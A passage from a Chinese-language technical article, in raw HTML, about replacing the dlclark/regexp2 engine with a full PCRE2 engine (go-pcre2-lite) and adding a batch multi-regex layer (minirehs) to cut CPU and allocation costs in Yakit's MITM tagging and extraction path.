-apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">dlclark/regexp2</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 并对每条报文全量执行；这类 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">regexp2-only</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 规则仅约 2–3 条，却在切换前贡献了定位路径约</span></span><strong style="font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">35% 的 CPU</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">与约</span></span><strong style="font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">74% 的分配</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">getRunes</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 的整段 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">[]rune</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 复制）。即少量重规则主导了整体开销。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="mreca70v11dr" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">将上述问题归结为成本模型，MITM 染色/提取的总成本为：</span></span></p><pre><code data-lark-language="Plain Text" data-wrap="false" mpa-font-style="mreca70v1vrv" style="font-size: 15px;"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">总成本 ≈ N_packets × N_rules × 单条正则匹配成本</span></code><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mreca70v1mxl" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">由此可得两条正交的优化路径：</span></span><strong style="font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">降低单条正则匹配成本</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">以及</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">消除</span></span></strong><strong style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">× N_rules</span></span></code></strong><strong style="font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">这一乘性因子</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">前者属于引擎层面（语法能力、速度、内存、ReDoS 安全），后者属于复杂度层面（避免对每条报文逐条匹配 N 条规则）。二者分别由go-pcre2-lite</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 与 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">minirehs</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 承担，互不替代、可叠加。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mreca70v1mxl" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">本文以实测数据回答四个问题：改造后的实际吞吐、对正则本身的影响、规则数增大时的加速表现、以及对 Yak Project 整体技术体系的影响</span>。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">二、方法与实现：完整 PCRE2 与统一编译</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" mpa-font-style="mrecc6hn1j40" style="font-size: 15px;" data-mpa-action-id="mrecc6i01rdn" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">整体结构为&#34;单条正则引擎&#34;之上叠加一层&#34;多正则批量调度&#34;，再接入 MITM 的染色/提取路径：</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">flowchart TB</span></code><br/><br/><code><span leaf="">    MITM<span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;Yakit MITM 染色 / 指纹 / 提取&#34;</span></span><span class="code-snippet__selector-attr">]</span> --&gt; L2</span></code><br/><br/><code><span leaf="">    subgraph L2<span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;多正则批量层 · minirehs / rehs&#34;</span></span><span class="code-snippet__selector-attr">]</span></span></code><br/><br/><code><span leaf="">        <span class="code-snippet__attribute">direction</span> TB</span></code><br/><br/><code><span leaf="">        C<span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;统一编译&lt;br/&gt;所有规则 → 一个不可变 Database&#34;</span></span><span class="code-snippet__selector-attr">]</span></span></code><br/><br/><code><span leaf="">        <span class="code-snippet__selector-tag">P</span><span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;字面量预过滤&lt;br/&gt;Aho-Corasick / bit-NFA 一次扫描&#34;</span></span><span class="code-snippet__selector-attr">]</span></span></code><br/><br/><code><span leaf="">        V<span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;候选验证&lt;br/&gt;只对命中候选跑正则&#34;</span></span><span class="code-snippet__selector-attr">]</span></span></code><br/><br/><code><span leaf="">        C --&gt; <span class="code-snippet__selector-tag">P</span> --&gt; V</span></code><br/><br/><code><span leaf="">    end</span></code><br/><br/><code><span leaf="">    subgraph L1<span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;单条正则引擎层 · go-pcre2-lite&#34;</span></span><span class="code-snippet__selector-attr">]</span></span></code><br/><br/><code><span leaf="">        <span class="code-snippet__attribute">direction</span> TB</span></code><br/><br/><code><span leaf="">        RE2<span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;RE2 可表达 → 标准库 regexp（线性）&#34;</span></span><span class="code-snippet__selector-attr">]</span></span></code><br/><br/><code><span leaf="">        PCRE<span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;RE2 不可表达 → 完整 PCRE2 兜底&lt;br/&gt;(lookaround/backref, 零分配, ReDoS 有界)&#34;</span></span><span class="code-snippet__selector-attr">]</span></span></code><br/><br/><code><span leaf="">    end</span></code><br/><br/><code><span leaf="">    V -. &#34;候选命中后精确判定&#34; <span class="code-snippet__selector-class">.-</span>&gt; L1</span></code><br/><br/><code><span leaf="">    L1 --&gt; <span class="code-snippet__attribute">R</span><span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;命中规则集合 / 精确偏移&#34;</span></span><span class="code-snippet__selector-attr">]</span></span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrecciap1rqp" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">两层分工明确：</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">minirehs</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 决定</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">&#34;</span></span><strong style="font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">对哪些规则、在哪些位置</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">执行正则验证&#34;</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">，</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">go-pcre2-lite</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 决定</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">&#34;</span></span><strong style="font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">每一次验证的速度、安全性与可编译性</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">&#34;。</span></span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">2.1 单条正则层：</span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">go-pcre2-lite</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（完整 PCRE2）</span></span></strong></span></p></div></div></div></div></div><h3 style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrecciapuu3" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">它是 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">github.com/dlclark/regexp2</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 的 drop-in 替代，绝大多数代码只改一行</span></span></span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__keyword">import</span>：</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// before</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> <span class="code-snippet__string">&#34;github.com/dlclark/regexp2&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment">// after</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> regexp2 <span class="code-snippet__string">&#34;github.com/VillanCh/go-pcre2-lite/regexp2&#34;</span></span></code><br/></pre></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="mrecd83o1jp1" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">实现要点：</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mrecd83o16p3" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">完整 PCRE2 8-bit 解释器</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">C 源码随仓库 vendored、经 cgo 编入，</span></span><strong style="font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">JIT 永久关闭</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">（分发稳定、无运行期代码生成风险）。</span></span></span></p></li><li style="color:#fd8009;"><p style="margin-bottom: 8px;text-align: left;"><span mpa-font-style="mrecd83o22u5" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">drop-in 兼容</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">类型、方法、</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">RegexOptions</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">、rune 索引的 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">Index</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">/</span></span><code style="font-size: 15px;"><span leaf="" style="font-size: 15px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mrejo16a1t0t" data-mpa-action-id="mrejo16r21vm" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">Length</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">、</span></span><code style="font-size: 15px;"><span leaf="" style="font-size: 15px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mrejo4a01e7a" data-mpa-action-id="mrejo4ah1bpg" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">Replace</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">/</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">ReplaceFunc</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">、</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">Escape</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 都对齐 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">regexp2</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">；在 PCRE2 官方 testoutput1 语料的 1585 条输入上，整段匹配结果与 dlclark100% 一致。</span></span></span></p></li><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mrecd83o1g8x" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">语法更全</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">possessive 量词 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">a++</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">、原子组 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">(?&gt;…)</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">、递归 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">(?R)</span></span></code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">、</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">\K</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">、子程序 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">(?&amp;name)</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">、Unicode 属性——这些 dlclark 直接拒绝的构造均可编译，覆盖背景中&#34;语法能力受限&#34;一类此前无法运行的规则。</span></span></span></p></li><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mrecd83ospk" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">ReDoS 默认有界</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: 